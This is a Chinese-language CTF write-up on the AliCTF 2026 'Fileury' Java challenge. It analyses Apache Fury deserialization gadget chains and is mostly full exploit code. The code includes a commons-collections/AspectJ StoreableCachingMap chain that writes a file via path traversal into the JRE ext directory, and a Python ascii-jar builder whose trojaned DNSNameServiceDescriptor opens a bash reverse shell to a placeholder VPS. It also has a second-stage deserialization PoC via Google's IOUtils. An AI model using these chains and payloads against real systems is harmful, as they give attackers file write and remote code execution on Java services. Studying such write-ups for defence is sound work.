Alictf 2026 javaweb

文章预计首发先知…晚点贴

第四届阿里ctf,看下几个java题,每年的传统了

https://www.aliyunctf.com/challenges

好像是这道题全网首发Fileury二次反序列化的poc,因为其他人的解题路径不太一样,可能不屑写预期解吧hh

fileury

好像每年都出fury?这是ali强推的序列化组件吗,老演员了

mcp测试

临时兴起,后面还是得分析的,这里测试下Jadx mcp性能,看下能不能解决阿里这种级别

虽然没有直接给出poc,但是sink点还是有的

image-20260311203351566

后面找链子还是不太行,看来还有机会

写文件加载 dnsns or jce jar

之前我说aspectjweaver:

image-20260311204520367

原来被修复的cc也能用上,打扰

先看入口,接收base64字符串去反序列化

image-20260311205103251

先看依赖有aspectj,可惜没有其他的,比如springaop

image-20260311205001953

ban了很多类

image-20260311204710982

官方wp说是用com.google.api.client.util.IOUtils的deserialize方法,存在二次反序列化

image-20260311211146449

这个思路也是很吊的,因为fury的反序列化函数是deserialize,所以想到还有deserialize也能反序列化。

用tabby找下最直接的路径,并没有发现有这个链子。

image-20260312103745507

wp说是UsingToStringOrdering的compare方法可以有数据流到达IOUtils,也没找到到达UsingToStringOrdering的链子,难道是我没加jdk源代码进去分析的原因(好像还真是没有加spring的去分析来着)?但是找了下是有HashMap的,没招了,真有二次反序列化吗

image-20260312110046836

但是翻看了su队的wp,发现并没有ban org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap

能直接aspectjweaver写文件的!

二次反序列化暂时搁置一下,但是只有写文件,据说charsets.jar还被提前加载了,计划任务更是不考虑。

因为我们手上有附件,可以用-verbose:class本地运行jar包,看看加载了哪些jar

之前有分析过windows下会自动加载charsets.jar,这个有时候本地显示加载了远程也能打

image-20260312113313554

1、没有加载dnsns.jar,可以通过反序列化sun.net.spi.nameservice.dns.DNSNameServiceDescriptor触发dnsns.jar加载

2、没有加载jce.jar,可以通过重写jar中的javax.crypto.NoSuchPaddingException类来加载

jar路径可以去spring fatjar写charsets.jar文里用字典全部遍历一遍

这里是/usr/local/openjdk-8/jre/lib/jce.jar

刚开始准备把两版都写一遍的,做完dnsns累到不行了,还是算了

单次反序列化poc

su poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.StringValueTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class alictf_Fileury {

public static void main(String[] args) throws Exception {
// Goal: Arbitrary File Write
// Chain:
// PriorityQueue.readObject() -> heapify() -> comparator.compare()
// comparator = TransformingComparator(StringValueTransformer)
// transformer.transform(TiedMapEntry) -> TiedMapEntry.toString()
// TiedMapEntry.toString() -> getValue() -> map.get(key)
// map = LazyMap(StoreableCachingMap, ConstantFactory(bytes))
// LazyMap.get(key) -> factory.create(key) -> bytes
// LazyMap.put(key, bytes) -> StoreableCachingMap.put(key, bytes) -> write bytes to file 'key'
byte[] content = Files.readAllBytes(Paths.get("evildnsns.jar"));

String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar";
// byte[] content = cronPayload.getBytes();

// 1. Setup StoreableCachingMap (The Inner Map)
// Ensure access to the class
Class<?> scMapClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = scMapClass.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
// folder = ".", maxEntries = 100
Map storeableMap = (Map) constructor.newInstance(".", 100);

// 2. Setup LazyMap with ConstantFactory
ConstantFactory factory = new ConstantFactory(content);
Map lazyMap = LazyMap.decorate(storeableMap, factory);

// 3. Setup TiedMapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

// 4. Setup Comparator and Transformer
// StringValueTransformer calls String.valueOf(obj) which calls obj.toString() (if not null)
org.apache.commons.collections.Transformer transformer = StringValueTransformer.getInstance();
TransformingComparator comparator = new TransformingComparator(transformer);

// 5. Setup PriorityQueue
PriorityQueue queue = new PriorityQueue(2, comparator);

Field sizeField = PriorityQueue.class.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(queue, 2);

Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = new Object[2];
queueArray[0] = entry;
queueArray[1] = entry;
queueField.set(queue, queueArray);

// 6. Serialize with Fury
System.out.println("Serializing AspectJ Chain with Fury...");
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
byte[] serializedInfo = fury.serialize(queue);

String b64 = Base64.getEncoder().encodeToString(serializedInfo);
FileOutputStream fos = new FileOutputStream("payload_aj.b64");
fos.write(b64.getBytes());
fos.close();
System.out.println("AspectJ Payload saved to payload_aj.b64");
}
}

怎么构造ascii-jar呢?直接找到本地的dnsns.jar,写个构造函数即可(好像也不用ascii-jar,之前构造charsets.jar都是直接编译就能用的,直接把dnsns.jar解压出来,然后直接改DNSNameServiceDescriptor构造函数或者静态代码块都可以)

image-20260313210049422

也可以直接抄dnsns.jar的构造,ascii-jar登场

https://mp.weixin.qq.com/s/9e0V4bnV6fuGAfO1AKLYdw

先去git clone ascii-jar的项目,然后运行下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python
# autor: c0ny1
# date 2022-02-13
from __future__ import print_function

import time
import os
from compress import *

allow_bytes = []
disallowed_bytes = [38,60,39,62,34,40,41] # &<'>"()
for b in range(0,128): # ASCII
if b in disallowed_bytes:
continue
allow_bytes.append(b)


if __name__ == '__main__':
padding_char = 'U'
raw_filename = 'DNSNameServiceDescriptor.class'
zip_entity_filename = 'sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class'
jar_filename = 'evildnsns.jar'
num = 1
while True:
# step1 动态生成java代码并编译
javaCode = """
package sun.net.spi.nameservice.dns;
import sun.net.spi.nameservice.*;

import java.io.IOException;

public final class DNSNameServiceDescriptor implements NameServiceDescriptor {
private static final String paddingData = "{PADDING_DATA}";
public DNSNameServiceDescriptor() {
try {
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vpsip/port 0>&1");
} catch (IOException e) {
e.printStackTrace();
}
}

public NameService createNameService() throws Exception {
return new DNSNameService();
}

public String getProviderName() {
return "sun";
}

public String getType() {
return "dns";
}
}
"""
padding_data = padding_char * num
javaCode = javaCode.replace("{PADDING_DATA}", padding_data)

f = open('DNSNameServiceDescriptor.java', 'w')
f.write(javaCode)
f.close()
time.sleep(0.1)

os.system("D:/jdk-all/jdk_8u_381/bin/javac.exe -cp jasper.jar DNSNameServiceDescriptor.java")
time.sleep(0.1)

# step02 计算压缩之后的各个部分是否在允许的ASCII范围
raw_data = bytearray(open(raw_filename, 'rb').read())
compressor = ASCIICompressor(bytearray(allow_bytes))
compressed_data = compressor.compress(raw_data)[0]
crc = zlib.crc32(raw_data) % pow(2, 32)

st_crc = struct.pack('<L', crc)
st_raw_data = struct.pack('<L', len(raw_data) % pow(2, 32))
st_compressed_data = struct.pack('<L', len(compressed_data) % pow(2, 32))
st_cdzf = struct.pack('<L', len(compressed_data) + len(zip_entity_filename) + 0x1e)


b_crc = isAllowBytes(st_crc, allow_bytes)
b_raw_data = isAllowBytes(st_raw_data, allow_bytes)
b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)
b_cdzf = isAllowBytes(st_cdzf, allow_bytes)

# step03 判断各个部分是否符在允许字节范围
if b_crc and b_raw_data and b_compressed_data and b_cdzf:
print('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
# step04 保存最终ascii jar
output = open(jar_filename, 'wb')
output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode()))
print('[+] Generate {0} success'.format(jar_filename))
break
else:
print('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data,
b_compressed_data, b_cdzf, num,
padding_char))
num = num + 1

image-20260313214455765

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.util.Base64;

public class ExpDNS {
public static void main(String[] args) throws Exception {
System.out.println("Generating payload to load sun.net.spi.nameservice.dns.DNSNameServiceDescriptor...");

Fury fury = Fury.builder()
.withLanguage(Language.JAVA)
.requireClassRegistration(false)
.build();

// Load the class via reflection to avoid compilation errors if access is restricted
Class<?> clazz = Class.forName("sun.net.spi.nameservice.dns.DNSNameServiceDescriptor");
Constructor constructor = clazz.getDeclaredConstructor();
Object instance = constructor.newInstance();

byte[] payload = fury.serialize(instance);
String b64 = Base64.getEncoder().encodeToString(payload);

try (FileOutputStream fos = new FileOutputStream("payload_dns.b64")) {
fos.write(b64.getBytes());
}

System.out.println("Payload saved to payload_dns.b64");
System.out.println("Payload Base64: " + b64);
}
}

弹回shell

image-20260319170131796

image-20260319170228768

二次反序列化

去年也是fury反序列化,并且去年分析到了Fury.deserialize有触发到compare然后触发到IoUtil.readObj二次反序列化的链子

1
2
3
4
5
6
7
8
9
10
Fury.deserialize ->
CollectionSerializer.read ->
PriorityQueue.add ->
PropertyComparator.compare ->
PropertyUtilsBean.invokeMethod -> getter

MapProxy.invoke ->
BeanConverter.convertInternal ->
readObject -> PriorityQueue.readObject ->
TemplatesImpl.getOuputProperties

https://godownio.github.io/2025/02/28/2025aliyun-ctf-java/

在测试的时候发现Fury->CollectionSerializer都有搜索

1
2
3
4
MATCH p = (start:Method)-[:CALL*1..10]->(end:Method)
WHERE start.CLASSNAME = "org.apache.fury.Fury"
AND end.CLASSNAME = "org.apache.fury.serializer.collection.CollectionSerializer"
RETURN p

image-20260313195135379

涉及到了跨反序列化器的好像确实搜索不到,比如CollectionSerializer->java.util.PriorityQueue

1
2
3
4
MATCH p = (start:Method)-[:CALL*1..20]->(end:Method)
WHERE start.CLASSNAME = "org.apache.fury.serializer.collection.CollectionSerializer"
AND end.CLASSNAME = "java.util.PriorityQueue"
RETURN p

不管了,前半段还是一样的用:

1
2
3
4
Fury.deserialize ->
CollectionSerializer.read ->
PriorityQueue.add ->
compare

需要找到达IOUtils.deserialize的链子,有且仅有AbstractMemoryDataStore.get调用了IOUtils.deserialize

image-20260313201355576

get方法,我思前想后,toString从官方放出的hint也就知道,com.google.common.collect.UsingToStringOrdering#compare是能调用到toString的

image-20260313202247016

那toString怎么调用到get呢?

于是我翻看了values函数,发现是循环调用get出来,那dataSource如果需要toString的话,那肯定会调用自身的get啊!

果不其然,我在DataStoreUtils.toString中找到了调用get的方法(不是调用get就会调用values,想想toString的功能设计就知道这里会有了)

image-20260319205138481

image-20260319203557188

(其实我开始想到了lilctf的CodeSigner.toString->get,但是写的时候才发现只能调用List.get )

所以我觉得链子应该是:

1
2
3
4
5
6
7
8
9
10
11
12
13
Fury.deserialize ->
CollectionSerializer.read ->
PriorityQueue.add ->
UsingToStringOrdering.compare ->
AbstractMemoryDataStore.toString->
DataStoreUtils.toString->
AbstractMemoryDataStore.get ->
IOUtils.deserialize 二次反序列化打aspectJweaver

BadAttributeValueExpException#readObject ->
TieMapEntry#toString -> getValue ->
LazyMap.get ->
SimpleCache$StoreableCachingMap.put

img

可是su为什么这样打也行啊啊啊

1
2
3
4
5
6
7
8
9
10
11
12
13
PriorityQueue.readObject()
→ heapify()
→ siftDown()
→ comparator.compare(queue[0], queue[1])
→ TransformingComparator.compare()
→ StringValueTransformer.transform(TiedMapEntry)
→ String.valueOf(TiedMapEntry)
→ TiedMapEntry.toString()
→ TiedMapEntry.getValue()
→ LazyMap.get(key)
→ factory.create() [ConstantFactory 返回预设的 byte[]]
→ StoreableCachingMap.put(key, value)
→ 写入文件 key,内容为 value

第一个问题是TransformingComparator不是在黑名单吗,噢他妈的环境是cc3.2.2,你过滤cc4的有毛用啊喂

image-20260313204507810

第二个问题是不用IOUtils二次反序列化也能打?因为他妈的压根没有过滤aspectJweaver链子啊喂

image-20260313204719212

无敌了,wp想考的二次反序列化形同虚设,尤其是cc3的依赖过滤cc4我是真没绷住

二次反序列化poc

网上好像没有这条链子的poc来着

好久没写poc了,正好练手,等下,UsingToStringOrdering->toSting是不是能和SU POC里的PriorityQueue->toString相互代替来着?两个其实用哪个触发到get都一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
Fury.deserialize ->
CollectionSerializer.read ->
PriorityQueue.add ->
UsingToStringOrdering.compare ->
AbstractMemoryDataStore.toString->
DataStoreUtils.toString->
AbstractMemoryDataStore.get ->
IOUtils.deserialize 二次反序列化打aspectJweaver

BadAttributeValueExpException#readObject ->
TieMapEntry#toString -> getValue ->
LazyMap.get ->
SimpleCache$StoreableCachingMap.put

注意二次反序列化二阶段就不能用org.apache.commons.collections.comparators.TransformingComparator了,因为fury是用反序列化器调用还原对象的,TransformingComparator不可序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


import com.caucho.quercus.annotation.Construct;
import com.google.api.client.util.store.AbstractMemoryDataStore;
import com.google.api.client.util.store.DataStoreUtils;
import com.google.api.client.util.store.MemoryDataStoreFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.CodeSigner;
import java.security.cert.X509Certificate;
import java.util.*;
import sun.security.provider.certpath.X509CertPath;

import java.io.FileOutputStream;


public class alictf_Fileury {

public static void main(String[] args) throws Exception {
//BadAttributeValueExpException#readObject ->
//TieMapEntry#toString -> getValue ->
//LazyMap.get ->
//SimpleCache$StoreableCachingMap.put
String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar";
byte[] code = Files.readAllBytes(Paths.get("evildnsns.jar"));
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructor(String.class,int.class);
constructor.setAccessible(true);
HashMap storeableCachingMap = (HashMap) constructor.newInstance(".",1);
// storeableCachingMap.put("writeToPathFILE",code);
LazyMap lazy = (LazyMap) LazyMap.decorate(storeableCachingMap, new ConstantTransformer(code));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy, filename);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);

//my add
// Fury.deserialize ->
// CollectionSerializer.read ->
// PriorityQueue.add ->
// UsingToStringOrdering.compare ->
// DataStoreUtils.toString->
// AbstractMemoryDataStore.get ->
// IOUtils.deserialize 二次反序列化打aspectJweaver

// 创建工厂实例
MemoryDataStoreFactory memoryDataStoreFactory = MemoryDataStoreFactory.getDefaultInstance();

Class<?> memoryStoreClass = Class.forName("com.google.api.client.util.store.MemoryDataStoreFactory$MemoryDataStore");
Constructor<?> constructor1 = memoryStoreClass.getDeclaredConstructor(
MemoryDataStoreFactory.class,
String.class
);
constructor1.setAccessible(true);

//获取UsingToStringOrdering
Class<?> clazz1 = Class.forName("com.google.common.collect.UsingToStringOrdering");
Field instanceField = clazz1.getDeclaredField("INSTANCE");
instanceField.setAccessible(true);
Comparator ordering = (Comparator) instanceField.get(null);

AbstractMemoryDataStore store = (AbstractMemoryDataStore) constructor1.newInstance(memoryDataStoreFactory, "my-store-id");
// AbstractMemoryDataStore objWithoutConstructor = (AbstractMemoryDataStore) createObjWithoutConstructor(AbstractMemoryDataStore.class);
store.set("godown", badAttributeValueExpException);

PriorityQueue queue = new PriorityQueue(2, ordering);

Field sizeField = PriorityQueue.class.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(queue, 2);

Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = new Object[2];
queueArray[0] = store;
queueArray[1] = store;
queueField.set(queue, queueArray);

// 6. Serialize with Fury
System.out.println("Serializing AspectJ Chain with Fury...");
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
byte[] serializedInfo = fury.serialize(queue);

String b64 = Base64.getEncoder().encodeToString(serializedInfo);
FileOutputStream fos = new FileOutputStream("payload_aj.b64");
fos.write(b64.getBytes());
fos.close();
System.out.println("AspectJ Payload saved to payload_aj.b64");

//测试
byte[] decoded = Base64.getDecoder().decode(b64);
String decodedStr = new String(decoded, StandardCharsets.UTF_8);
// Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
fury.deserialize(decoded);


}
}

image-20260319210502051

调了一晚上,不ez /(ㄒoㄒ)/~~

image-20260319212655536

下一篇:
我的安全面试——just实习